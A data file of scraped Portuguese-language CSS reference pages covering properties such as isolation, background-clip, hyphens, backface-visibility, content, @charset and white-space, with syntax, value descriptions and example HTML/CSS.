{"title":"isolation - CSS","text":"isolation\n=========\n\nA propriedade CSS **`isolation`** define se o elemento deve criar um novo stacking context.\n\n\n```css\n/\\* Keyword values \\*/\nisolation: auto;\nisolation: isolate;\n\n/\\* Global values \\*/\nisolation: inherit;\nisolation: initial;\nisolation: unset;\n```\n\n\nÉ especialmente útil em conjunto com `background-blend-mode` que mistura os fundos em um dado stacking context: ela permite isolar grupos de elementos dos seus fundos e misturar as suas cores.\n\n|  |  |\n| --- | --- |\n| Initial value | `auto` |\n| Aplica-se a | All elements. In SVG, it applies to container elements, graphics elements, and graphics referencing elements. |\n| Inherited | não |\n| Computed value | as specified |\n| Animation type | Not animatable |\n\nSintaxe\n-------\n\nUma das palavras-chave listadas abaixo.\n\n### Valores\n\n`auto`\n\nÉ uma palavra-chave indicando que um novo stacking context deve ser criado somente se uma das propriedades aplicadas ao elemento requererem.\n\n`isolate`\n\nÉ uma palavra-chave indicando que um novo stacking context deve ser criado.\n\n### Sintaxe formal\n```\n\nisolation =   \n  <isolation-mode>    \n  \n<isolation-mode> =   \n  auto     | (en-US)  \n  isolate    \n  \n```\n\nExemplos\n--------\n\n\n```html\n<div id=\"b\" class=\"a\">\n  <div id=\"d\">\n    <div class=\"a c\">auto</div>\n  </div>\n  <div id=\"e\">\n    <div class=\"a c\">isolate</div>\n  </div>\n</div>\n```\n\n\n\n```css\n.a {\n  background-color: rgb(0, 255, 0);\n}\n#b {\n  width: 200px;\n  height: 210px;\n}\n.c {\n  width: 100px;\n  height: 100px;\n  border: 1px solid black;\n  padding: 2px;\n  mix-blend-mode: difference;\n}\n#d {\n  isolation: auto;\n}\n#e {\n  isolation: isolate;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Compositing and Blending Level 2 # isolation |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<blend-mode>`\n* `mix-blend-mode`, `background-blend-mode`"}
{"title":"background-clip - CSS","text":"background-clip\n===============\n\nA propriedade CSS **`background-clip`** especifica se o fundo de um elemento, seja cor ou imagem, se extende debaixo de sua área de borda, preenchimento ou conteúdo.\n\nExperimente\n-----------\n\nSe o elemento não possuir as propriedades `background-image` (en-US) ou `background-color` definidas, esta propriedade só terá um efeito visual quando a borda tiver regiões transparentes ou regiões parcialmente opacas (devido ao `border-style` (en-US) ou `border-image` (en-US)); caso contrário a borda encobrirá a diferença.\n\n|  |  |\n| --- | --- |\n| Initial value | `border-box` |\n| Aplica-se a | all elements. It also applies to `::first-letter` and `::first-line`. |\n| Inherited | não |\n| Computed value | as specified |\n| Animation type | a repeatable list |\n\nSintaxe\n-------\n\n\n```css\n/\\* Valores de palavra-chave \\*/\nbackground-clip: border-box;\nbackground-clip: padding-box;\nbackground-clip: content-box;\nbackground-clip: text;\n\n/\\* Valores globais \\*/\nbackground-clip: inherit;\nbackground-clip: initial;\nbackground-clip: unset;\n```\n\n### Valores\n\n`border-box`\n\nO fundo se extende até fora da fronteira da borda (mas por baixo da borda na ordenação-z).\n\n`padding-box`\n\nNenhum fundo é desenhado abaixo da borda (o fundo se extende até a borda externa do preenchimento).\n\n`content-box`\n\nO fundo é desenhado dentro (cortado) a caixa de conteúdo.\n\n`text` \nExperimental\n\nO fundo é desenhado dentro (cortado) do texto aparente.\n\n### Sintaxe formal\n```\n\nbackground-clip =   \n  <visual-box># (en-US)    \n  \n<visual-box> =   \n  content-box  | (en-US)  \n  padding-box  | (en-US)  \n  border-box     \n  \n```\n\nExemplos\n--------\n\n### Usando `border-box`\n\n#### Conteúdo HTML\n\n\n```html\n<p>O fundo se extende atrás da borda.</p>\n```\n\n\n#### Conteúdo CSS\n\n\n```css\np {\n  border: 0.8em darkviolet;\n  border-style: dotted double;\n  margin: 1em 0;\n  padding: 1.4em;\n  background: linear-gradient(60deg, red, yellow, red, yellow, red);\n  font: 900 1.2em sans-serif;\n  text-decoration: underline;\n  background-clip: border-box;\n}\n```\n\n\n#### Resultado\n\n### Usando `padding-box`\n\n#### Conteúdo HTML\n\n\n```html\n<p>O fundo se extende até dentro da fronteira da borda.</p>\n```\n\n\n#### Conteúdo CSS\n\n\n```css\np {\n  border: 0.8em darkviolet;\n  border-style: dotted double;\n  margin: 1em 0;\n  padding: 1.4em;\n  background: linear-gradient(60deg, red, yellow, red, yellow, red);\n  font: 900 1.2em sans-serif;\n  text-decoration: underline;\n  background-clip: padding-box;\n}\n```\n\n\n#### Resultado\n\n### Usando `content-box`\n\n#### Conteúdo HTML\n\n\n```html\n<p>O fundo se extende somente até o limite da caixa de conteúdo.</p>\n```\n\n\n#### Conteúdo CSS\n\n\n```css\np {\n  border: 0.8em darkviolet;\n  border-style: dotted double;\n  margin: 1em 0;\n  padding: 1.4em;\n  background: linear-gradient(60deg, red, yellow, red, yellow, red);\n  font: 900 1.2em sans-serif;\n  text-decoration: underline;\n  background-clip: content-box;\n}\n```\n\n\n#### Resultado\n\n### Usando `text`\n\n#### Conteúdo HTML\n\n\n```html\n<p>O fundo se extende dentro do texto.</p>\n```\n\n\n#### Conteúdo CSS\n\n\n```css\np {\n  border: 0.8em darkviolet;\n  border-style: dotted double;\n  margin: 1em 0;\n  padding: 1.4em;\n  background: linear-gradient(60deg, red, yellow, red, yellow, red);\n  font: 900 1.2em sans-serif;\n  text-decoration: underline;\n\n  /\\* Note a necessidade de adicionar trânsparência ao texto\\*/\n  background-clip: text;\n  -webkit-background-clip: text;\n  color: rgba(0, 0, 0, 0.2);\n}\n```\n\n\n#### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Backgrounds and Borders Module Level 3 # background-clip |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `clip` (en-US)\n* CSS Box Model"}
{"title":"hifens - CSS","text":"hifens\n======\n\nA propriedade CSS **`hyphens`** especifica como palavras devem ser hifenizadas quando o há quebra de texto em múltiplas linhas. Você pode prevenir a hifenização completamente, especificar pontos manualmente, ou permitir que o navegador insira automaticamente quando apropriado.\n\n```css\nhyphens: none;\nhyphens: manual;\nhyphens: auto;\n\n/\\* Valores globais \\*/\nhyphens: inherit;\nhyphens: initial;\nhyphens: unset;\n```\n\n\nRegras de hifenização são específicas para cada idioma. Em HTML, o idioma é determinado pelo atributo `lang`, e os navegadores irão utilizar hífen apenas caso este atributo esteja presente e se houver um dicionário de hifenização disponível. Em XML, deve ser usado o atributo `xml:lang.`\n\n**Nota:** As regras que definem como a hifenização é realizada não são explicitamente definidas pela especificação, então a hifenização exata pode variar de navegador para navegador.\n\n|  |  |\n| --- | --- |\n| Initial value | `manual` |\n| Aplica-se a | all elements |\n| Inherited | yes |\n| Computed value | as specified |\n| Animation type | discrete |\n\nSintaxe\n-------\n\nA propriedade `hyphens` é especificada como uma única palavra-chave escolhida da lista abaixo.\n\n### Valores\n\n`none`\n\nPalavras não são separadas em quebras de linha, mesmo se seus caracteres sugiram pontos de quebra de linha. Linhas são quebradas apenas em espaços em branco.\n\n`manual`\n\nPalavras são separadas apenas onde caracteres dentro de uma palavras sugiram oportunidades de quebra de linha. Veja abaixo Oportunidades sugeridas de quebra de linha para mais detalhes.\n\n`auto`\n\nO navegador é livre para quebrar palavras automaticamente nos pontos apropriados de hifenização, seguindo quaisquer regras que ele escolher. Entretanto, oportunidades sugeridas de quebras de linha (veja Oportunidades sugeridas de quebra de linha abaixo) irão sobrepor a seleção automática de pontos de quebra quando presentes.\n\n\n**Nota:** O comportamento da configuração `auto` requer que a propriedade idioma seja indicada corretamente para que as regras de hifenização sejam selecionadas. Você deve especificar o idioma utilizando o atributo HTML `lang` para garantir que a hifenização automática seja aplicada na linguagem de sua escolha.\n\nOportunidades sugeridas de quebra de linha\n------------------------------------------\n\nExistem dois caracteres Unicode que podem ser utilizados para especificar manualmente potenciais pontos de quebra de linha no texto:\n\nU+2010 (HYPHEN)\n\nO caractere hífen \"duro\" indica uma oportunidade de quebra de linha visível. Mesmo que não haja quebra de linha naquele ponto, o hífen ainda será renderizado.\n\nU+00AD (SHY)\n\nUm hífen invisivel, \"suave\". Este caractere não é renderizado visivelmente; ao invés, ele marca um local onde o browser deve quebrar a palavra se um hífen for necessário. Em HTML você pode usar `&shy;` para inserir um hífen suave.\n\n### Sintaxe formal\n```\n\nhyphens =   \n  none    | (en-US)  \n  manual  | (en-US)  \n  auto      \n  \n```\n\nExemplo\n-------\n\nEste exemplo usa três classes, uma para cada configuração possível da propriedade `hyphens`.\n\n\n```html\n<ul>\n  <li>\n    <code>none</code>: sem hífen; transbordar se necessário\n    <p lang=\"en\" class=\"none\">An extreme&shy;ly long English word</p>\n  </li>\n  <li>\n    <code>manual</code>: hífen apenas em &amp;hyphen; ou &amp;shy; (se\n    necessário)\n    <p lang=\"en\" class=\"manual\">An extreme&shy;ly long English word</p>\n  </li>\n  <li>\n    <code>auto</code>: hífen onde o algorítmo decidir (se necessário)\n    <p lang=\"en\" class=\"auto\">An extreme&shy;ly long English word</p>\n  </li>\n</ul>\n```\n\n\n\n```css\np {\n  width: 55px;\n  border: 1px solid black;\n}\np.none {\n  -webkit-hyphens: none;\n  -ms-hyphens: none;\n  hyphens: none;\n}\np.manual {\n  -webkit-hyphens: manual;\n  -ms-hyphens: manual;\n  hyphens: manual;\n}\np.auto {\n  -webkit-hyphens: auto;\n  -ms-hyphens: auto;\n  hyphens: auto;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Text Module Level 3 # hyphens-property |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `content`"}
{"title":"::backdrop - CSS","text":"::backdrop\n==========\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nCada elemento na camada superior de uma pilha de elementos possui um `pseudo-elemento` *`::backdrop`*. Esse pseudo-elemento é uma caixa renderizada imediatamente abaixo do elemento superior (e acima do elemento logo abaixo desse elemento, caso exista algum), dentro da camada superior.\n\n**Nota:** O pseudo-elemento `::backdrop` pode ser utilizado para criar um pano de fundo que esconde o conteúdo por trás de um elemento posicionado no topo de uma pilha de elementos. Por exemplo, para o elemento que é mostrado em tela cheia conforme descrito nessa especificação.\n\nEle não herda de nenhum elemento e também não é herdado. Não há restrição de propriedades que podem ser aplicadas a esse pseudo-elemento.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Positioned Layout Module Level 4 # backdrop |\n\nCopatibilidade com navegadores\n------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `:fullscreen` (en-US)\n* `<dialog>`"}
{"title":"backface-visibility - CSS","text":"backface-visibility\n===================\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nSumário\n-------\n\nA propriedade CSS **`backface-visibility`** determina se deve ser exibido ou não a parte de trás do elemento para o usuário. A parte de trás de um elemento é sempre um fundo transparente, deixando, quando visível, uma imagem espelho da parte da frente a ser exibida.\n\nHá casos quando nós não queremos que a parte da frente de um elemento seja visível pela parte de trás, quando estamos fazendo um efeito de giro de cartões (colocando dois elementos lado a lado).\n\nEsta propriedade não possui nenhum efeito em transformações 2D quando não há nenhum tipo de perspectiva.\n\n|  |  |\n| --- | --- |\n| Initial value | `visible` |\n| Aplica-se a | qualquer elemento transformavel |\n| Inherited | não |\n| Computed value | as specified |\n| Animation type | discrete |\n\nSintaxe\n-------\n\n\n```css\nbackface-visibility: visible;\nbackface-visibility: hidden;\n```\n\n### Valores\n\nEsta propriedade tem dois valores (exclusivos):\n\n* `visible` significa que a parte de trás estará visível, permitindo que a parte da frente seja exibida como espelho\n* `hidden` significa que a parte de trás não é visível, sendo então escondida pela parte da frente do elemento\n### Sintaxe formal\n```\n\nbackface-visibility =   \n  visible  | (en-US)  \n  hidden     \n  \n```\n\nExemplos\n--------\n\n### Cubos com faces transparentes\n\n#### Conteúdo HTML\n\n\n```html\n<table>\n  <tbody>\n    <tr>\n      <th><code>backface-visibility: visible;</code></th>\n      <th><code>backface-visibility: hidden;</code></th>\n    </tr>\n    <tr>\n      <td>\n        <div class=\"container\">\n          <div class=\"cube showbf\">\n            <div class=\"face front\">1</div>\n            <div class=\"face back\">2</div>\n            <div class=\"face right\">3</div>\n            <div class=\"face left\">4</div>\n            <div class=\"face top\">5</div>\n            <div class=\"face bottom\">6</div>\n          </div>\n        </div>\n        <p>\n          Todas as faces são transparentes e há três faces atrás que estão\n          visíveis através das faces da frente.\n        </p>\n      </td>\n      <td>\n        <div class=\"container\">\n          <div class=\"cube hidebf\">\n            <div class=\"face front\">1</div>\n            <div class=\"face back\">2</div>\n            <div class=\"face right\">3</div>\n            <div class=\"face left\">4</div>\n            <div class=\"face top\">5</div>\n            <div class=\"face bottom\">6</div>\n          </div>\n        </div>\n        <p>\n          Nenhuma face é opaca, mas as três faces de trás estarão sempre\n          escondidas agora.\n        </p>\n      </td>\n    </tr>\n  </tbody>\n</table>\n```\n\n\n#### Conteúdo CSS\n\n\n```css\n/\\* Shorthand classes that will show or hide the three back faces of the \"cube\" \\*/\n.hidebf div {\n  backface-visibility: hidden;\n  -webkit-backface-visibility: hidden;\n}\n\n.showbf div {\n  backface-visibility: visible;\n  -webkit-backface-visibility: visible;\n}\n\n/\\* Define the container div, the cube div, and a generic face \\*/\n.container {\n  width: 150px;\n  height: 150px;\n  margin: 75px 0 0 75px;\n  border: none;\n}\n\n.cube {\n  width: 100%;\n  height: 100%;\n  perspective: 550px;\n  perspective-origin: 150% 150%;\n  transform-style: preserve-3d;\n  -webkit-perspective: 300px;\n  -webkit-perspective-origin: 150% 150%;\n  -webkit-transform-style: preserve-3d;\n}\n\n.face {\n  display: block;\n  position: absolute;\n  width: 100px;\n  height: 100px;\n  border: none;\n  line-height: 100px;\n  font-family: sans-serif;\n  font-size: 60px;\n  color: white;\n  text-align: center;\n}\n\n/\\* Define each face based on direction \\*/\n.front {\n  background: rgba(0, 0, 0, 0.3);\n  transform: translateZ(50px);\n  -webkit-transform: translateZ(50px);\n}\n\n.back {\n  background: rgba(0, 255, 0, 1);\n  color: black;\n  transform: rotateY(180deg) translateZ(50px);\n  -webkit-transform: rotateY(180deg) translateZ(50px);\n}\n\n.right {\n  background: rgba(196, 0, 0, 0.7);\n  transform: rotateY(90deg) translateZ(50px);\n  -webkit-transform: rotateY(90deg) translateZ(50px);\n}\n\n.left {\n  background: rgba(0, 0, 196, 0.7);\n  transform: rotateY(-90deg) translateZ(50px);\n  -webkit-transform: rotateY(-90deg) translateZ(50px);\n}\n\n.top {\n  background: rgba(196, 196, 0, 0.7);\n  transform: rotateX(90deg) translateZ(50px);\n  -webkit-transform: rotateX(90deg) translateZ(50px);\n}\n\n.bottom {\n  background: rgba(196, 0, 196, 0.7);\n  transform: rotateX(-90deg) translateZ(50px);\n  -webkit-transform: rotateX(-90deg) translateZ(50px);\n}\n\n/\\* Make the table a little nicer \\*/\nth,\np,\ntd {\n  background-color: #eeeeee;\n  margin: 0px;\n  padding: 6px;\n  font-family: sans-serif;\n  text-align: left;\n}\n```\n\n\n#### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Transforms Module Level 2 # backface-visibility-property |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Usando transformações CSS"}
{"title":"content - CSS","text":"content\n=======\n\nA propriedade CSS **`content`** é usada com os pseudoelementos `::before` e `::after` para gerar conteúdo em um elemento. Objetos inseridos usando a propriedade `content` são *elementos substituídos (en-US) anônimos*.\n\n\n```css\n/\\* Palavras-chave que não podem ser combinadas com outros valores \\*/\ncontent: normal;\ncontent: none;\n\n/\\* Valores <string> com caracteres especiais devem ser escritos \\*/\n/\\* com escape Unicode, por exemplo \\00A0 para &nbsp; \\*/\ncontent: \"prefixo\";\n\n/\\* Valores <url> \\*/\ncontent: url(\"http://www.example.com/test.png\");\n\n/\\* Valores <counter> \\*/\ncontent: counter(contador_capitulo);\ncontent: counters(contador_secao, \".\");\n\n/\\* Valores attr() associados ao valor do atributo HTML \\*/\ncontent: attr(valor string);\n\n/\\* Palavras-chave que variam com o idioma e posição \\*/\ncontent: open-quote;\ncontent: close-quote;\ncontent: no-open-quote;\ncontent: no-close-quote;\n\n/\\* Com exceção de normal e none, vários valores \\*/\n/\\* podem ser usados simultaneamente \\*/\ncontent: open-quote chapter_counter;\n\n/\\* Valores globais \\*/\ncontent: inherit;\ncontent: initial;\ncontent: unset;\n```\n\n\n|  |  |\n| --- | --- |\n| Initial value | `normal` |\n| Aplica-se a | All elements, tree-abiding pseudo-elements, and page margin boxes |\n| Inherited | não |\n| Computed value | On elements, always computes to `normal`. On `::before` and `::after`, if `normal` is specified, computes to `none`. Otherwise, for URI values, the absolute URI; for `attr()` values, the resulting string; for other keywords, as specified. |\n| Animation type | discrete |\n\nSintaxe\n-------\n\n### Valores\n\n`none`\n\nO pseudoelemento não será gerado.\n\n`normal`\n\nEquivalente a `none` para os pseudoelementos `::before` e `::after`.\n\n`<string>` (en-US)\n\nUm ou mais caracteres de texto.\n\n`<url>()` (en-US)\n\nUma URL que designa um recurso externo (como uma imagem). Se o recurso não puder ser exibido, ele será ignorado ou um *placeholder* será exibido no seu lugar.\n\n`<counter>()` (en-US)\n\nO valor de um contador CSS, geralmente um número. Ele pode ser exibido usando a função `counter()` (en-US) ou `counters()` (en-US).\n\nA função `counter()` tem duas formas: 'counter(*nome*)' ou 'counter(*nome*, *estilo*)'. O texto gerado será o valor do contador mais próximo do nome fornecido no pseudoelemento. Ele será formatado com o estilo especificado (o padrão é `decimal`).\n\nA função `counters()` também tem duas formas: 'counters(*nome*, *string*)' ou 'counters(*nome*, *separador*, *estilo*)'. O texto gerado será o valor de todos os contadores com o mesmo nome no escopo do pseudoelemento, do mais afastado ao mais próximo, separados pelo separador especificado. Os contadores serão exibidos no estilo indicado (o padrão é `decimal`).\n\n`attr(x)`\n\nO valor do atributo `x` do elemento. Se não houver um atributo `x`, uma *string* vazia será retornada. A diferenciação de maiúsculas e minúsculas dependerá da linguagem do documento.\n\n`open-quote` | `close-quote`\n\nEsses valores serão substituídos pela *string* apropriada da propriedade `quotes` (en-US).\n\n`no-open-quote` | `no-close-quote`\n\nNão introduzem nenhum conteúdo, mas aumentam (ou diminuem) o nível de aninhamento de aspas.\n\n### Sintaxe formal\n```\n\ncontent =   \n  normal                                              | (en-US)  \n  none                                                | (en-US)  \n  [ (en-US) <content-replacement> | (en-US) <content-list> ] (en-US) [ (en-US) / [ (en-US) <string> (en-US) | (en-US) <counter> ] (en-US)+ (en-US) ] (en-US)? (en-US)  | (en-US)  \n  <element()>                                           \n  \n<content-replacement> =   \n  <image>    \n  \n<content-list> =   \n  [ (en-US) <string> (en-US) | (en-US) <counter()> | (en-US) <counters()> | (en-US) <content()> | (en-US) <attr()> ] (en-US)+ (en-US)    \n  \n<counter> =   \n  <counter()>   | (en-US)  \n  <counters()>    \n  \n<element()> =   \n  element( <id-selector> )    \n  \n<image> =   \n  <url>       | (en-US)  \n  <gradient> (en-US)    \n  \n<counter()> =   \n  counter( <counter-name> , <counter-style>? (en-US) )    \n  \n<counters()> =   \n  counters( <counter-name> , <string> (en-US) , <counter-style>? (en-US) )    \n  \n<content()> =   \n  content( [ (en-US) text | (en-US) before | (en-US) after | (en-US) first-letter | (en-US) marker ] (en-US)? (en-US) )    \n  \n<attr()> =   \n  attr( <attr-name> <attr-type>? (en-US) , <declaration-value>? (en-US) )    \n  \n<id-selector> =   \n  <hash-token>    \n  \n<url> =   \n  <url()>  | (en-US)  \n  <src()>    \n  \n<counter-style> =   \n  <counter-style-name>  | (en-US)  \n  <symbols()>             \n  \n<attr-name> =   \n  [ (en-US) <ident-token> '|' ] (en-US)? (en-US) <ident-token>    \n  \n<attr-type> =   \n  string            | (en-US)  \n  url               | (en-US)  \n  ident             | (en-US)  \n  color             | (en-US)  \n  number            | (en-US)  \n  percentage        | (en-US)  \n  length            | (en-US)  \n  angle             | (en-US)  \n  time              | (en-US)  \n  frequency         | (en-US)  \n  flex              | (en-US)  \n  <dimension-unit>    \n  \n<url()> =   \n  url( <string> (en-US) <url-modifier>\\* (en-US) )  | (en-US)  \n  <url-token>                        \n  \n<src()> =   \n  src( <string> (en-US) <url-modifier>\\* (en-US) )    \n  \n<symbols()> =   \n  symbols( <symbols-type>? (en-US) [ (en-US) <string> (en-US) | (en-US) <image> ] (en-US)+ (en-US) )    \n  \n<symbols-type> =   \n  cyclic      | (en-US)  \n  numeric     | (en-US)  \n  alphabetic  | (en-US)  \n  symbolic    | (en-US)  \n  fixed         \n  \n```\n\nExemplos\n--------\n\n### Cabeçalhos e citações\n\nEste exemplo insere aspas ao redor de citações e adiciona a palavra \"Capítulo\" antes dos cabeçalhos.\n\n#### HTML\n\n\n```html\n<h1>5</h1>\n<p>\n  De acordo com o Sr. Tim Berners-Lee,\n  <q cite=\"https://www.w3.org/People/Berners-Lee/FAQ.html#Internet\"\n >I was lucky enough to invent the Web at the time when the Internet already\n    existed - and had for a decade and a half.</q\n >\n  Devemos entender que não há nada fundamentalmente errado em criar algo com\n  base nas contribuições de outras pessoas.\n</p>\n\n<h1>6</h1>\n<p>\n  De acordo com o Manifesto Mozilla,\n  <q cite=\"https://www.mozilla.org/about/manifesto/\"\n >As pessoas precisam ter a capacidade de moldar a Internet e suas\n    experiências com ela.</q\n >\n  Portanto, podemos concluir que contribuir para a Web aberta pode proteger\n  nossas próprias experiências individuais nela.\n</p>\n```\n\n\n#### CSS\n\n\n```css\nq {\n  color: blue;\n}\n\nq::before {\n  content: open-quote;\n}\n\nq::after {\n  content: close-quote;\n}\n\nh1::before {\n  content: \"Cap\\00EDtulo \"; /\\* O espaço no final cria uma separação\n entre o conteúdo adicionado e o\n resto do conteúdo \\*/\n}\n```\n\n\n#### Resultado\n\n### Imagem combinada com texto\n\nEste exemplo insere uma imagem antes do *link*. Se a imagem não for encontrada, o texto será exibido no seu lugar.\n\n#### HTML\n\n\n```html\n<a href=\"https://www.mozilla.org/\">Mozilla Home Page</a>\n```\n\n\n#### CSS\n\n\n```css\na::before {\n  content: url(\"https://mozorg.cdn.mozilla.net/media/img/favicon.ico\")\n    \" MOZILLA: \";\n  font:\n    x-small Arial,\n    sans-serif;\n  color: gray;\n}\n```\n\n\n#### Resultado\n\n### Alterando classes específicas\n\nEste exemplo insere texto adicional no final de itens especiais em uma lista.\n\n#### HTML\n\n\n```html\n<h2>Categoriass mais vendidas</h2>\n<ol>\n  <li>Suspenses políticos</li>\n  <li class=\"new-entry\">Histórias de terror</li>\n  <li>Biografias</li>\n  <li class=\"new-entry\">Romances de Vampiros</li>\n</ol>\n```\n\n\n#### CSS\n\n\n```css\n.new-entry::after {\n  content: \" Novo!\"; /\\* O espaço no final cria uma separação\n entre o conteúdo adicionado e o\n resto do conteúdo \\*/\n  color: red;\n}\n```\n\n\n#### Resultado\n\n### Imagens e atributos de elementos\n\nEste exemplo insere uma imagem antes de cada *link* e adiciona o conteúdo do seu atributo `id` depois.\n\n#### HTML\n\n\n```html\n<ul>\n  <li><a id=\"moz\" href=\"http://www.mozilla.org/\"> Mozilla Home Page</a></li>\n  <li>\n    <a id=\"mdn\" href=\"https://developer.mozilla.org/\">\n      Mozilla Developer Network</a\n >\n  </li>\n</ul>\n```\n\n\n#### CSS\n\n\n```css\na {\n  text-decoration: none;\n  border-bottom: 3px dotted navy;\n}\n\na::after {\n  content: \" (\" attr(id) \")\";\n}\n\n#moz::before {\n  content: url(\"https://mozorg.cdn.mozilla.net/media/img/favicon.ico\");\n}\n\n#mdn::before {\n  content: url(\"mdn-favicon16.png\");\n}\n\nli {\n  margin: 1em;\n}\n```\n\n\n#### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Generated Content Module Level 3 # content-property |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `::after`\n* `::before`\n* `quotes` (en-US)"}
{"title":"@charset - CSS","text":"@charset\n========\n\n`<string>` (en-US)Resumo\n------\n\nA regra `@charset` especifica a codificação de caracteres utilizada na folha de estilo. Deve ser o primeiro elemento na folha de estilo e não ser precedida de qualquer caráter; uma vez que não é uma declaração aninhada, ele não pode ser usado dentro de um grupo condicional de regras. Se vários `@charset` são definidos, apenas o primeiro é usado, e não pode ser usado dentro de um atributo de estilo em um elemento HTML ou dentro do elemento `<style>`, onde o conjunto de caracteres da página HTML é relevante.\n\nEsta regra at (at-rule) é útil quando se usa caracteres não ASCII em algumas propriedades CSS, como conteúdo.\n\nComo existem várias maneiras de definir a codificação de caracteres em uma folha de estilo, o navegador vai tentar os seguintes métodos na seguinte ordem (e parar assim que um produzir um resultado):\n\n1. O valor do carácter de ordem de byte Unicode colocado no início do arquivo.\n2. O valor dado pelo atributo `charset` do `Content-Type:` cabeçalho HTTP ou o equivalente no protocolo usado para servir a folha de estilo.\n3. O `@charset` CSS.\n4. Use a codificação de caracteres definidos pelo documento referente: o atributo charset do elemento `<link>`. Este método é obsoleto em HTML5 e não deve ser utilizado.\n5. Assume que o documento é UTF-8.\nSintaxe\n-------\n```\n\n  @charset charset;\n```\n\n\nonde :\n\n*charset*\n\nÉ uma `<string>` (en-US) denotando a codificação de caracteres a ser usado. Ele deve ser o nome de uma codificação de caracteres segura para a Web definido no registro IANA. Se vários nomes estão associados com uma codificação, apenas um é marcado como *preferido* e assim ser utilizado.\n\nExemplos\n--------\n\n\n```css\n@charset \"UTF-8\"; /\\* Define a codificação da folha de estilo para Unicode UTF-8 \\*/\n@charset 'iso-8859-15'; /\\* Define a codificação da folha de estilo para Latin-9 (línguas da Europa Ocidental, com sinal de euro) \\*/\n @charset \"UTF-8\"; /\\* Inválido, há um caracter (espaço) antes da regra \\*/\n@charset UTF-8; /\\* Inválido, sem ‘ ou \", o conjunto de caracteres não é uma <string> (en-US) CSS \\*/\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Cascading Style Sheets Level 2 Revision 2 (CSS 2.2) Specification # charset① |\n\nCompatibilidade de navegadores\n------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"white-space - CSS","text":"white-space\n===========\n\nResumo\n------\n\nA propriedade CSS white-space é usada para descrever como os espaços em branco dentro dos elementos são manipulados.\n\n|  |  |\n| --- | --- |\n| Initial value | `normal` |\n| Aplica-se a | all elements |\n| Inherited | yes |\n| Computed value | as specified |\n| Animation type | discrete |\n\nSintaxe\n-------\n```\n\nFormal syntax: \n```\nwhite-space =   \n  normal        | (en-US)  \n  pre           | (en-US)  \n  nowrap        | (en-US)  \n  pre-wrap      | (en-US)  \n  break-spaces  | (en-US)  \n  pre-line        \n  \n```\n\n\n```\n```\n\nwhite-space: normal\nwhite-space: nowrap\nwhite-space: pre\nwhite-space: pre-wrap\nwhite-space: pre-line\n\nwhite-space: inherit\n```\n\n### Valores\n\n`normal`\n\nSequências de espaços em branco são recolhidas. Caracteres de nova linha no código são tratados como outros espaços em branco. As linhas quebram conforme a necessidade para preencher as linhas das caixas (boxes).\n\n`nowrap`\n\nRecolhe os espaços em branco como no normal, mas suprime as quebras de linha (quebra de texto) no texto.\n\n`pre`\n\nSequências de espaço em branco são preservadas, linhas são quebradas apenas em carateres de nova linha no código e em elementos `<br>`.\n\n`pre-wrap`\n\nSequências de espaço em branco são preservadas. Linhas são quebradas em caracteres de nova linha, em `<br>` e quando necessário para preencher as linhas das caixas (boxes).\n\n`pre-line`\n\nSequências de espaços em branco são recolhidas. Linhas são quebradas em caracteres de nova linha, em `<br>` e quando necessário para preencher as linhas das caixas (boxes).\n\nA tabela a seguir resume o comportamento dos valores para white-space:\n\n|  | Novas linhas | Espaços e Tabulações (tabs) | Quebra de texto |\n| --- | --- | --- | --- |\n| `normal` | Recolhido | Recolhido | Quebra |\n| `nowrap` | Recolhido | Recolhido | Sem quebra |\n| `pre` | Preservado | Preservado | Sem quebra |\n| `pre-wrap` | Preservado | Preservado | Quebra |\n| `pre-line` | Preservado | Recolhido | Quebra |\n\nExemplos\n--------\n\n\n```css\ncode {\n  white-space: pre;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Text Module Level 3 # white-space-property |\n\nCompatibilidade de Navegadores\n------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n [1] Internet Explorer 5.5+ suporta `word-wrap``: break-word;`\n O código a seguir permite quebras de linhas dentro de elementos pre:\n\n\n```css\npre {\n  word-wrap: break-word; /\\* IE 5.5-7 \\*/\n  white-space: -moz-pre-wrap; /\\* Firefox 1.0-2.0 \\*/\n  white-space: pre-wrap; /\\* current browsers \\*/\n}\n```"}
